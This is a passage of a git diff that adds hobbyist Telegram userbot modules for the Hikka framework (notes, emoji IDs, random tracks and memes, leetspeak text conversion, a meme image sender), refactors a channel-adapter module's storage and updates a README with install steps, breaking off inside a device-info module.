# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# notesmod.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
import os
|
||||
from .. import loader, utils
|
||||
|
||||
|
||||
@loader.tds
|
||||
class NotesFileMod(loader.Module):
|
||||
"""Модуль для заметок с хранением в файлах"""
|
||||
strings = {"name": "NotesFile"}
|
||||
|
||||
def __init__(self):
|
||||
self.notes_dir = "notes"
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
if not os.path.exists(self.notes_dir):
|
||||
os.makedirs(self.notes_dir)
|
||||
|
||||
@loader.command()
|
||||
async def noteadd(self, message):
|
||||
"""
|
||||
Добавить заметку.
|
||||
Использование: .noteadd #tag <текст>
|
||||
"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args.startswith("#"):
|
||||
await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.")
|
||||
return
|
||||
|
||||
try:
|
||||
tag, text = args.split(" ", 1)
|
||||
except ValueError:
|
||||
await utils.answer(message, "❌ Укажите текст заметки после тега.")
|
||||
return
|
||||
|
||||
note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt")
|
||||
with open(note_file, "w", encoding="utf-8") as f:
|
||||
f.write(text)
|
||||
|
||||
await utils.answer(message, f"✅ Заметка `{tag}` сохранена.")
|
||||
|
||||
@loader.command()
|
||||
async def notedelete(self, message):
|
||||
"""
|
||||
Удалить заметку.
|
||||
Использование: .notedelete #tag
|
||||
"""
|
||||
tag = utils.get_args_raw(message)
|
||||
if not tag.startswith("#"):
|
||||
await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.")
|
||||
return
|
||||
|
||||
note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt")
|
||||
if os.path.exists(note_file):
|
||||
os.remove(note_file)
|
||||
await utils.answer(message, f"✅ Заметка `{tag}` удалена.")
|
||||
else:
|
||||
await utils.answer(message, f"❌ Заметка `{tag}` не найдена.")
|
||||
|
||||
@loader.command()
|
||||
async def noteview(self, message):
|
||||
"""
|
||||
Просмотреть заметку.
|
||||
Использование: .noteview #tag
|
||||
"""
|
||||
tag = utils.get_args_raw(message)
|
||||
if not tag.startswith("#"):
|
||||
await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.")
|
||||
return
|
||||
|
||||
note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt")
|
||||
if os.path.exists(note_file):
|
||||
with open(note_file, "r", encoding="utf-8") as f:
|
||||
text = f.read()
|
||||
await utils.answer(message, f"📝 Заметка `{tag}`:\n\n{text}")
|
||||
else:
|
||||
await utils.answer(message, f"❌ Заметка `{tag}` не найдена.")
|
||||
|
||||
@loader.command()
|
||||
async def notelist(self, message):
|
||||
"""
|
||||
Показать список всех заметок.
|
||||
"""
|
||||
files = os.listdir(self.notes_dir)
|
||||
if not files:
|
||||
await utils.answer(message, "📋 Нет сохранённых заметок.")
|
||||
else:
|
||||
notes_list = "\n".join(f"• `#{os.path.splitext(file)[0]}`" for file in files)
|
||||
await utils.answer(message, f"📋 Список заметок:\n\n{notes_list}")
|
||||
58
cryptexctl/modules-mirror/premium_emoji_id.py
Normal file
58
cryptexctl/modules-mirror/premium_emoji_id.py
Normal file
@@ -0,0 +1,58 @@
|
||||
__version__ = (1, 0, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# premium_emoji_id.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
|
||||
from telethon.tl.types import MessageEntityCustomEmoji
|
||||
from .. import loader, utils
|
||||
|
||||
class GetPremiumEmojiID(loader.Module):
|
||||
"""Получение ID премиум-эмодзи"""
|
||||
strings = {"name": "PremiumEmojiID"}
|
||||
|
||||
@loader.command()
|
||||
async def getemoji_id(self, message):
|
||||
"""
|
||||
Получает ID премиум-эмодзи из сообщения
|
||||
Использование: .getemoji_id <эмодзи>
|
||||
"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(
|
||||
message, "❌ Пожалуйста, добавьте премиум-эмодзи после команды."
|
||||
)
|
||||
return
|
||||
|
||||
entities = message.entities
|
||||
if not entities:
|
||||
await utils.answer(message, "❌ Эмодзи не найдено.")
|
||||
return
|
||||
|
||||
for entity in entities:
|
||||
if isinstance(entity, MessageEntityCustomEmoji):
|
||||
emoji_id = entity.document_id
|
||||
await utils.answer(
|
||||
message,
|
||||
f"✅ Найден премиум-эмодзи:\n\n"
|
||||
f"💎 ID: `{emoji_id}`\n\n"
|
||||
f"Теперь вы можете использовать его в своих модулях!",
|
||||
)
|
||||
return
|
||||
|
||||
await utils.answer(message, "❌ Это не премиум-эмодзи.")
|
||||
75
cryptexctl/modules-mirror/randomtrack.py
Normal file
75
cryptexctl/modules-mirror/randomtrack.py
Normal file
@@ -0,0 +1,75 @@
|
||||
__version__ = (1, 1, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# randomtrack.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
|
||||
import random
|
||||
from telethon.tl.functions.messages import GetHistoryRequest
|
||||
from telethon.tl.types import Message, MessageMediaDocument
|
||||
from .. import loader, utils
|
||||
|
||||
class RandomTrackMod(loader.Module):
|
||||
"""Отправляет случайный трек из указанного канала."""
|
||||
strings = {"name": "RandomTrack"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
"MUSIC_CHANNEL_ID", 0, # ID канала с музыкой
|
||||
lambda: "ID вашего канала с музыкой. Например: 123456789"
|
||||
)
|
||||
|
||||
async def get_random_track(self, channel_id):
|
||||
"""Получает случайный трек из указанного канала по ID."""
|
||||
try:
|
||||
history = await self.client(GetHistoryRequest(
|
||||
peer=channel_id,
|
||||
limit=100, # Загружает последние 100 сообщений
|
||||
offset_date=None,
|
||||
offset_id=0,
|
||||
add_offset=0,
|
||||
max_id=0,
|
||||
min_id=0,
|
||||
hash=0,
|
||||
))
|
||||
|
||||
tracks = [
|
||||
msg for msg in history.messages
|
||||
if isinstance(msg, Message) and isinstance(msg.media, MessageMediaDocument)
|
||||
and msg.media.document.mime_type.startswith("audio")
|
||||
]
|
||||
return random.choice(tracks) if tracks else None
|
||||
except Exception as e:
|
||||
return f"Ошибка при получении трека: {e}"
|
||||
|
||||
@loader.command()
|
||||
async def randomtrack(self, message):
|
||||
"""
|
||||
Отправляет случайный трек из вашего канала.
|
||||
"""
|
||||
channel_id = self.config["MUSIC_CHANNEL_ID"]
|
||||
if not channel_id:
|
||||
await utils.answer(message, "❌ Укажите ID канала с музыкой в .config")
|
||||
return
|
||||
|
||||
track = await self.get_random_track(channel_id)
|
||||
if isinstance(track, Message):
|
||||
await self.client.send_file(message.chat_id, track.media, caption=track.message or "")
|
||||
else:
|
||||
await utils.answer(message, f"❌ Не удалось получить трек. Причина: {track}")
|
||||
95
cryptexctl/modules-mirror/zovmodule.py
Normal file
95
cryptexctl/modules-mirror/zovmodule.py
Normal file
@@ -0,0 +1,95 @@
|
||||
__version__ = (2, 1, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# leeter.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
from .. import loader, utils
|
||||
|
||||
class LeeterMod(loader.Module):
|
||||
"""Тут либо гойда либо зов\nлибо ZOVишь либо leetируешь"""
|
||||
strings = {
|
||||
"name": "zover",
|
||||
"enabled": "✅ Leeter включен.",
|
||||
"disabled": "❌ Leeter выключен.",
|
||||
"mode_leet": "⚙️ Режим установлен: Leet",
|
||||
"mode_replace": "⚙️ Режим установлен: ZOV"
|
||||
} # Исправлено: убрана лишняя закрывающая скобка
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
"MODE", "leet", # Возможные значения: "leet" или "replace"
|
||||
lambda: "Режим обработки сообщений: 'leet' для leet-стиля или 'replace' для zov."
|
||||
)
|
||||
self.active = False
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
@loader.command()
|
||||
async def leeter(self, message):
|
||||
"""Включить/выключить обработку сообщений."""
|
||||
self.active = not self.active
|
||||
status = self.strings["enabled"] if self.active else self.strings["disabled"]
|
||||
await utils.answer(message, status)
|
||||
|
||||
@loader.command()
|
||||
async def zovmode(self, message):
|
||||
"""Переключить режим: leet или zov."""
|
||||
new_mode = "leet" if self.config["MODE"] == "replace" else "replace"
|
||||
self.config["MODE"] = new_mode
|
||||
mode_message = self.strings["mode_leet"] if new_mode == "leet" else self.strings["mode_replace"]
|
||||
await utils.answer(message, mode_message)
|
||||
|
||||
async def watcher(self, message):
|
||||
"""Обрабатывает все ваши сообщения."""
|
||||
if not self.active or not message.out:
|
||||
return
|
||||
|
||||
text = message.raw_text
|
||||
if self.config["MODE"] == "leet":
|
||||
# Преобразование в leet-стиль
|
||||
text = self.to_leet(text)
|
||||
elif self.config["MODE"] == "replace":
|
||||
# Замена z-Z, v-V, o-O
|
||||
text = self.replace_chars(text)
|
||||
|
||||
# Редактируем сообщение с преобразованным текстом
|
||||
await message.edit(text)
|
||||
|
||||
def to_leet(self, text):
|
||||
"""Преобразует текст в leet-стиль."""
|
||||
leet_map = {
|
||||
'а': '4', 'б': '6', 'в': '8', 'г': 'r', 'д': 'D', 'е': '3', 'ё': 'E',
|
||||
'ж': '>|<', 'з': '3', 'и': 'u', 'й': 'u`', 'к': 'K', 'л': 'JI',
|
||||
'м': 'M', 'н': 'H', 'о': '0', 'п': 'n', 'р': 'P', 'с': 'C',
|
||||
'т': '7', 'у': 'Y', 'ф': 'F', 'х': 'X', 'ц': 'U,', 'ч': '4',
|
||||
'ш': 'W', 'щ': 'W,', 'ъ': "'", 'ы': 'bl', 'ь': "'", 'э': '3',
|
||||
'ю': '10', 'я': '9',
|
||||
'a': '4', 'b': '8', 'c': '<', 'd': '[)', 'e': '3', 'f': '|=',
|
||||
'g': '6', 'h': '#', 'i': '1', 'j': '_|', 'k': '|<', 'l': '1',
|
||||
'm': '^^', 'n': '^/', 'o': '0', 'p': '|2', 'q': 'O_', 'r': '12',
|
||||
's': '5', 't': '7', 'u': '|_|', 'v': '\\/', 'w': '\\/\\/', 'x': '%',
|
||||
'y': '`/', 'z': '2'
|
||||
}
|
||||
return ''.join(leet_map.get(char.lower(), char) for char in text)
|
||||
|
||||
def replace_chars(self, text):
|
||||
"""Заменяет z-Z, v-V, o-O в тексте."""
|
||||
replace_map = {'з': 'Z', 'З': 'Z', 'в': 'V', 'В': 'V', 'о': 'O', 'О': 'O'}
|
||||
return ''.join(replace_map.get(char, char) for char in text)
|
||||
70
cryptexctl/modules-mirror/овощерезка.py
Normal file
70
cryptexctl/modules-mirror/овощерезка.py
Normal file
@@ -0,0 +1,70 @@
|
||||
__version__ = (1, 4, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# овощерезка.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
|
||||
import random
|
||||
from telethon.tl.functions.messages import GetHistoryRequest
|
||||
from telethon.tl.types import Message, MessageMediaPhoto
|
||||
from .. import loader, utils
|
||||
|
||||
class RandomPostMod(loader.Module):
|
||||
"""Отправляет случайный пост из p2 или pixelgang с картинками."""
|
||||
strings = {"name": "Овощерезка"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
"POSTS_LIMIT", 50, # Количество постов для загрузки
|
||||
lambda: "Количество постов для загрузки из каналов."
|
||||
)
|
||||
|
||||
async def get_random_post(self, channel):
|
||||
"""Вгетаем фоточке из канала"""
|
||||
try:
|
||||
history = await self.client(GetHistoryRequest(
|
||||
peer=channel,
|
||||
limit=self.config["POSTS_LIMIT"], # Количество постов из .config
|
||||
offset_date=None,
|
||||
offset_id=0,
|
||||
add_offset=0,
|
||||
max_id=0,
|
||||
min_id=0,
|
||||
hash=0,
|
||||
))
|
||||
messages = [
|
||||
msg for msg in history.messages
|
||||
if isinstance(msg, Message) and isinstance(msg.media, MessageMediaPhoto)
|
||||
]
|
||||
return random.choice(messages) if messages else None
|
||||
except Exception as e:
|
||||
return f"Ошибка при получении поста: {e}"
|
||||
|
||||
@loader.command()
|
||||
async def овощерезка(self, message):
|
||||
"""
|
||||
Отправляет случайный мемасек из p2 или pixelgang
|
||||
"""
|
||||
channel = random.choice(["pocobytes", "pixelgang"]) # Случайный выбор канала
|
||||
post = await self.get_random_post(channel)
|
||||
|
||||
if isinstance(post, Message):
|
||||
await self.client.send_file(message.chat_id, post.media, caption=post.message or "")
|
||||
else:
|
||||
await utils.answer(message, f"❌ Не удалось получить пост. Причина: {post}")
|
||||
56
cryptexctl/modules-mirror/сланцы2.py
Normal file
56
cryptexctl/modules-mirror/сланцы2.py
Normal file
@@ -0,0 +1,56 @@
|
||||
__version__ = (1, 1, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# сланцы.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
import os
|
||||
import requests
|
||||
from .. import loader, utils
|
||||
|
||||
class SlantsyMod(loader.Module):
|
||||
"""АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\n"""
|
||||
strings = {
|
||||
"name": "Сланцы",
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
# Путь, куда будет загружена картинка
|
||||
self.image_path = "сланцы.jpeg"
|
||||
self.image_url = "https://0x0.st/Xd9E.jpeg"
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
self.download_image()
|
||||
|
||||
def download_image(self):
|
||||
"""Скачивает изображение и сохраняет его на диск."""
|
||||
if not os.path.exists(self.image_path): # Проверяем, есть ли файл
|
||||
response = requests.get(self.image_url)
|
||||
with open(self.image_path, 'wb') as file:
|
||||
file.write(response.content)
|
||||
print(f"✅ Картинка успешно загружена: {self.image_path}")
|
||||
else:
|
||||
print(f"🖼️ Картинка уже существует: {self.image_path}")
|
||||
|
||||
@loader.command()
|
||||
async def этосланцычат(self, message):
|
||||
"""АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\n"""
|
||||
await self.client.send_file(message.chat_id, self.image_path)
|
||||
# Удаляем сообщение с командой
|
||||
await message.delete()
|
||||
@@ -69,7 +69,8 @@ class PicMe(loader.Module):
|
||||
async def watcher(self, event):
|
||||
try:
|
||||
if event.from_id != self.tg_id:
|
||||
return
|
||||
if event.from_id.user_id != self.tg_id:
|
||||
return
|
||||
except:
|
||||
return
|
||||
if not self.db.get(self.name, "picme", False):
|
||||
|
||||
@@ -1,2 +1,19 @@
|
||||
# Модули канала [@PyModule](https://pymodule.t.me)
|
||||
На все модули распространяется [лицензия "GNU General Public License v3.0"](https://github.com/fiksofficial/python-modules/blob/main/LICENSE)
|
||||
На все модули распространяется [лицензия "GNU General Public License v3.0"](LICENSE)
|
||||
|
||||
## Как установить модуль?
|
||||
Для начала надо добавить репозиторий
|
||||
```
|
||||
.addrepo python-modules.vervel.app
|
||||
```
|
||||
Потом пишете ```.dlm {название модуля}``` и вы успешно установили модуль.
|
||||
|
||||
> [!TIP]
|
||||
> Если вы не хотите добавлять репозиторий то напишите ```.dlm python-modules.vervel.app/{название модуля}.py```
|
||||
|
||||
### Список задач
|
||||
- [x] Попасть в FHeta
|
||||
- [x] Попасть в Limoka
|
||||
- [x] Попасть в команду верефицированных разработчиков модулей Heroku
|
||||
- [] Soon...
|
||||
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @PyModule
|
||||
import json
|
||||
import os
|
||||
from telethon.tl.types import Message
|
||||
from .. import loader
|
||||
|
||||
@@ -12,27 +10,19 @@ class ChannelAdapterMod(loader.Module):
|
||||
"""Модуль для добавления переходника в сообщения каналов"""
|
||||
strings = {"name": "ChannelAdapter"}
|
||||
|
||||
def __init__(self):
|
||||
self.adapters_file = "adapters.json"
|
||||
self.adapters = self.load_adapters()
|
||||
|
||||
def load_adapters(self):
|
||||
"""Загружает адаптеры из файла, если он существует."""
|
||||
if os.path.exists(self.adapters_file):
|
||||
with open(self.adapters_file, "r", encoding="utf-8") as f:
|
||||
return json.load(f)
|
||||
return {}
|
||||
|
||||
def save_adapters(self):
|
||||
"""Сохраняет адаптеры в файл."""
|
||||
with open(self.adapters_file, "w", encoding="utf-8") as f:
|
||||
json.dump(self.adapters, f, ensure_ascii=False, indent=4)
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
self.db = db
|
||||
if not self.adapters:
|
||||
self.adapters = {}
|
||||
if not self.db.get(__name__, "adapters"):
|
||||
self.db.set(__name__, "adapters", {})
|
||||
|
||||
def get_adapters(self):
|
||||
"""Получает адаптеры из базы данных"""
|
||||
return self.db.get(__name__, "adapters", {})
|
||||
|
||||
def save_adapters(self, adapters):
|
||||
"""Сохраняет адаптеры в базу данных"""
|
||||
self.db.set(__name__, "adapters", adapters)
|
||||
|
||||
@loader.command()
|
||||
async def addadaptercmd(self, message: Message):
|
||||
@@ -49,11 +39,13 @@ class ChannelAdapterMod(loader.Module):
|
||||
await message.edit("<emoji document_id=6030563507299160824>❗️</emoji> <b>Укажите текст переходника.</b>")
|
||||
return
|
||||
|
||||
self.adapters[chat_id] = adapter_text
|
||||
self.save_adapters()
|
||||
adapters = self.get_adapters()
|
||||
adapters[chat_id] = adapter_text
|
||||
self.save_adapters(adapters)
|
||||
|
||||
await message.edit(f"<emoji document_id=5774022692642492953>✅</emoji> <b>Переходник добавлен для канала:</b> <code>{chat_id}</code> - {adapter_text}")
|
||||
|
||||
@loader.command()
|
||||
async def deladaptercmd(self, message: Message):
|
||||
"""[CHANNEL ID] - Удалить переходник для канала."""
|
||||
args = message.raw_text.split()
|
||||
@@ -62,37 +54,40 @@ class ChannelAdapterMod(loader.Module):
|
||||
return
|
||||
|
||||
chat_id = args[1]
|
||||
adapters = self.get_adapters()
|
||||
|
||||
if chat_id not in self.adapters:
|
||||
if chat_id not in adapters:
|
||||
await message.edit("<emoji document_id=5774077015388852135>❌</emoji> <b>Этот канал не найден в списке.</b>")
|
||||
return
|
||||
|
||||
del self.adapters[chat_id]
|
||||
self.save_adapters()
|
||||
del adapters[chat_id]
|
||||
self.save_adapters(adapters)
|
||||
|
||||
await message.edit(f"<emoji document_id=5774022692642492953>✅</emoji> <b>Переходник для канала <code>{chat_id}</code> удалён.</b>")
|
||||
|
||||
@loader.command()
|
||||
async def listadapterscmd(self, message: Message):
|
||||
"""- Показать список всех переходников."""
|
||||
if not self.adapters:
|
||||
adapters = self.get_adapters()
|
||||
if not adapters:
|
||||
await message.edit("<emoji document_id=5774077015388852135>❌</emoji> <b>Нет сохранённых переходников.</b>")
|
||||
return
|
||||
|
||||
text = "<blockquote><emoji document_id=5253959125838090076>👁</emoji> <b>Список сохранённых переходников</b></blockquote>\n\n\n"
|
||||
for chat_id, adapter_text in self.adapters.items():
|
||||
for chat_id, adapter_text in adapters.items():
|
||||
text += f"<emoji document_id=6032924188828767321>➕</emoji> <b><code>{chat_id}</code>:</b> {adapter_text}\n\n"
|
||||
|
||||
await message.edit(text)
|
||||
|
||||
@loader.command()
|
||||
async def clearadapterscmd(self, message: Message):
|
||||
"""- Удалить все переходники."""
|
||||
if not self.adapters:
|
||||
adapters = self.get_adapters()
|
||||
if not adapters:
|
||||
await message.edit("<emoji document_id=5774077015388852135>❌</emoji> <b>Нет переходников для удаления.</b>")
|
||||
return
|
||||
|
||||
self.adapters = {}
|
||||
self.save_adapters()
|
||||
|
||||
self.db.set(__name__, "adapters", {})
|
||||
await message.edit("<emoji document_id=5774022692642492953>✅</emoji> <b>Все адаптеры были удалены.</b>")
|
||||
|
||||
async def watcher(self, message: Message):
|
||||
@@ -100,7 +95,8 @@ class ChannelAdapterMod(loader.Module):
|
||||
if not message or not message.out:
|
||||
return
|
||||
|
||||
adapter_text = self.adapters.get(str(message.chat_id), None)
|
||||
adapters = self.get_adapters()
|
||||
adapter_text = adapters.get(str(message.chat_id), None)
|
||||
|
||||
if not adapter_text:
|
||||
return
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @pymodule
|
||||
# requires: opencv-python
|
||||
# requires: opencv-python pillow
|
||||
|
||||
import os, shutil, cv2
|
||||
from PIL import Image, UnidentifiedImageError
|
||||
|
||||
503
fiksofficial/python-modules/deviceinfo.py
Normal file
503
fiksofficial/python-modules/deviceinfo.py
Normal file
@@ -0,0 +1,503 @@
|
||||
# ______ ___ ___ _ _
|
||||
# ____ | ___ \ | \/ | | | | |
|
||||
# / __ \| |_/ / _| . . | ___ __| |_ _| | ___
|
||||
# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \
|
||||
# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/
|
||||
# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___|
|
||||
# \____/ __/ |
|
||||
# |___/
|
||||
|
||||
# На модуль распространяется лицензия "GNU General Public License v3.0"
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @pymodule
|
||||
# requires: aiohttp cachetools
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
from typing import List, Dict, Any
|
||||
import aiohttp
|
||||
from cachetools import TTLCache
|
||||
|
||||
from .. import loader, utils
|
||||
from ..inline.types import InlineMessage
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@loader.tds
|
||||
class DeviceInfo(loader.Module):
|
||||
"""A module for obtaining information about smartphones"""
|
||||
|
||||
strings_ru = {
|
||||
"name": "DeviceInfo",
|
||||
"_cls_doc": "Модуль для получения информации о смартфонах",
|
||||
"searching": "🔍 Ищу устройства по запросу: <b>{}</b>...",
|
||||
"no_query": "❌ Укажи название устройства! Пример: <code>.di iPhone 15</code>",
|
||||
"no_results": "📭 Устройства не найдены для запросу: <b>{}</b>",
|
||||
"device_list": "📱 Найдено {} устройств по запросу <b>{}</b>:",
|
||||
"device_info": "📱 <b>{}</b>\n\n{}",
|
||||
"error": "❌ Ошибка: {}. Попробуй позже или проверь API.",
|
||||
"network": "📡 <b>Сеть</b>: {}\n",
|
||||
"launched": "📅 <b>Дата выпуска</b>:\n Анонс: {}\n Статус: {}\n",
|
||||
"body": "📏 <b>Корпус</b>:\n Размеры: {}\n Вес: {}\n SIM: {}\n Прочее: {}\n",
|
||||
"display": "🖥️ <b>Дисплей</b>:\n Тип: {}\n Размер: {}\n Разрешение: {}\n Защита: {}\n",
|
||||
